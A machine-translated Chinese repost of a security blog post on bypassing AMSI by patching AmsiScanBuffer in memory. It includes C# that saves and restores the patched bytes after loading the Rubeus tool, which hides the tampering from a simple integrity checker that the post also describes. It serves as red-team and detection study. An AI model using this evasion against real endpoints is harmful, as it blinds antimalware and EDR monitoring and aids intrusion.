当前位置:网站首页>Bypass memory integrity check
Bypass memory integrity check
2022-06-23 20:44:00 【Khan security team】
The process involves :
- Find... In memory AmsiScanBuffer The location of .
- Change the memory permissions to RWX.
- Copy the patched bytes .
- Restore the memory area back to RX.
After this happened , This process does not seem to make any difference to the casual observer . Because we only changed about of the possible hundreds of thousands of bytes in the address space 6 Bytes , So how likely is it to be seen ?
Execute user mode DLL Injected defensive products ( for example EDR) Integrity checks can be performed on sensitive parts of the module code . therefore , If something has changed and is not captured at the time ( Maybe by using syscalls), Can be detected afterwards ( Suppose the process still exists ) And then send an alarm .
This depends in part on the relevance of aggressive tools . for example ,Cobalt Strike Of Beacon Many of them post-ex Command to use fork and run Pattern . It will generate a temporary process , Inject... Into it post-ex function , Get results through named pipes , Then terminate the process . If it's time to post-ex Function execution such as patching AmsiScanBuffer Something like that , It may not exist long enough to really worry about integrity checking .Covenant Of Grunt And other tools will perform all operations within it —— So as long as the implant is alive , These changes to its memory will persist .
Consider the following :
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}Bypassing allows us to load Rubeus And do whatever we want . All good. .
however , If we are right in the process AmsiScanBuffer Perform integrity checks , We can infer that it has indeed been tampered with .
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664 ======================== AmsiScanBuffer Checker ======================== Target Process: MaliciousApp AmsiScanBuffer: 0x7FFE26AA0000 AmsiScanBuffer tamper detected!
conceptually , Its operation is very simple :
- Load from disk amsi.dll.
- find AmsiScanBuffer And before reading 10 Bytes .
- Found... In the target process AmsiScanBuffer And before reading 10 Bytes .
- Compare two byte arrays .
If the array does not match , The function is already in the memory of the process ( Or an unlikely file ) A change has taken place .
From a defensive point of view , This method has some obvious disadvantages —— We only check AmsiScanBuffer Without checking other exported functions ; And only the front of the function 10 Bytes . However , According to my experience , Most people only copy / Paste the bypass they found on the Internet * Cough *, So this is a good simple fruit .
If we want to improve bypass , We can copy the original AmsiScanBuffer byte , Then recover the malicious content we want after we execute it .
It might look like this :
public void Execute()
{
// Load amsi.dll and get location of AmsiScanBuffer
var lib = LoadLibrary("amsi.dll");
_asbLocation = GetProcAddress(lib, "AmsiScanBuffer");
var patch = GetPatch;
// Take a backup of AmsiScanBuffer bytes
_backup = new byte[patch.Length];
Marshal.Copy(_asbLocation, _backup, 0, patch.Length);
// Set region to RWX
// Copy patch
// Restore region to RX
}Then implement a program that copies back the original bytes recovery Method :
public void Restore()
{
// Set region to RWX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);
// Copy bytes back
Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);
// Restore region to RX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}And then in our malicious applications :
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
// Restore AMSI
amsi.Restore();
}PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516 ======================== AmsiScanBuffer Checker ======================== Target Process: MaliciousApp AmsiScanBuffer: 0x7FFE26AA0000 AmsiScanBuffer is fine ¯\_(ツ)_/¯
Rubeus Still perform as expected , But when running on a process “ Check ” when , No tampering was found . This integrity checking method may only be effective if it happens to run within a narrow time frame between performing a bypass and recovering bytes .
边栏推荐
- How to use data warehouse to create time series
- How to separate image processing? What should I pay attention to when separating layers?
- Is Huishang futures trading software formal? How to download safely?
- Kinsoku jikou desu新浪股票接口变动
- Sharelist supports simultaneous mounting of Google drive/onedrive multiple network disks
- How is the picture mosaic clear? What is mosaic for?
- Implementation of microblog system based on SSM
- JS advanced programming version 4: generator learning
- [golang] quick review guide quickreview (II) -- slice
- How to deal with unclear pictures? What are the techniques for taking clear pictures?
猜你喜欢

The evolution of the "Rainbow Bridge" middleware platform for the acquisition database based on shardingsphere

Yaokui tower in Fengjie, Chongqing, after its completion, will be the safety tower for Sichuan river shipping with five local scholars in the company

Implementation of microblog system based on SSM

Elastricearch's fragmentation principle of the second bullet

Tupu software digital twin intelligent water service, breaking through the development dilemma of sponge City

vs2022scanf函数的使用,使用scanf的报错-返回值被忽略:解决·方法

The "open source star picking program" container pulls private images from harbor, which is a necessary skill for cloud native advanced technology

Interview with Mo Tianlun | ivorysql wangzhibin - ivorysql, an Oracle compatible open source database based on PostgreSQL

JS高级程序设计第 4 版:生成器的学习

LeetCode 260. Number III that appears only once
随机推荐
Leaders of Hangcheng street, Bao'an District and their delegation visited lianchengfa for investigation
FPGA based electromagnetic ultrasonic pulse compression detection system paper + source file
【Golang】怎样优雅的清空切片
What are the server host security risks? How to prevent safety risks?
100 lines of code, using pyGame to make a snake game!
徽商期货交易软件正规吗?如何安全下载?
How to solve the problem of large traffic audio audit? What are the common approval methods?
What cloud disk types does Tencent cloud provide? What are the characteristics of cloud disk service?
【Golang】快速复习指南QuickReview(六)——struct
What is the role of short video AI intelligent audit? Why do I need intelligent auditing?
How do I open an account? Is it safe to open an account in Guohai Securities? What do you need to bring?
SQL联合查询(内联、左联、右联、全联)的语法
【白话技术】二维码
Technology sharing | wvp+zlmediakit realizes streaming playback of camera gb28181
UGeek大咖说 | 可观测之超融合存储系统的应用与设计
Can Tencent cloud disk service share data? What are the advantages of cloud disk service?
December 29, 2021: the elimination rules of a subsequence are as follows: 1. In a subsequence
教你如何用网页开发APP
Excel text function
Emmet语法规范